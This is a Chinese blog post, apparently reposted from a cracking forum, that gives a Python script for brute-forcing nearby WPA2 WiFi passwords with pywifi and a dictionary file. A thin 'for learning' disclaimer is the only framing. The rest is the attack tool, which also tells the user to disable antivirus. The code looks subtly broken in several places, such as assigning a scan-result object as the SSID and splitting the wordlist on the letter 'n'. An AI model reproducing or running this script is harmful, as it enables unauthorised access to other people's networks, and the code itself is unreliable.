python爆破wifi密码

RS 技术•随笔来源:吾爱破解评论1,7421字数 882阅读2分56秒阅读模式

首先声明一点,做这个工具不是为了爆破别人家的密码,主要是学习交流

如果要运行代码,请先安装pip install pywifi

python爆破wifi密码

import pywifi
import profile
import time
from pywifi import const, Profile
zd = input("请输入字典位置:")
ozd = open(zd,'r',encoding="utf8").read().split("n")
a = 0
wifi = pywifi.PyWiFi()
pw = wifi.interfaces()[0]
pw.scan()
time.sleep(2)
ws = pw.scan_results()
for sws in ws:
    print("扫描到以下wifi:")
    print(a)
    print(sws.ssid.encode('raw_unicode_escape').decode('utf-8'))
    a = a + 1
wm = int(input("请输入序号"))
xz = ws[wm]
for pas in ozd:
    pw.disconnect()
    time.sleep(3)
    if pw.status() == const.IFACE_DISCONNECTED:
        pwfile = pywifi.Profile
        pwfile.ssid = xz
        pwfile.auth = const.AUTH_ALG_OPEN
        pwfile.akm.append(const.AKM_TYPE_WPA2PSK)
        pwfile.cipher = const.CIPHER_TYPE_CCMP
        pwfile.key = pas
        pw.remove_all_network_profiles()
        xwffile = pw.add_network_profile(pwfile)
        pw.connect(xwffile)
        if pw.status() == const.IFACE_CONNECTED:
            print("爆破成功,密码是:" + pas)
            break
        else:
            print("爆破失败")
    else:
        print("断开连接失败,请关闭杀软再试")
input("破解完成,请按任意键继续.........")

继续阅读
 
RS
  • 版权声明 本文源自 吾爱破解RS 整理 发表于 2022年4月10日 20:36:11
匿名

发表评论

匿名网友

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen:

确定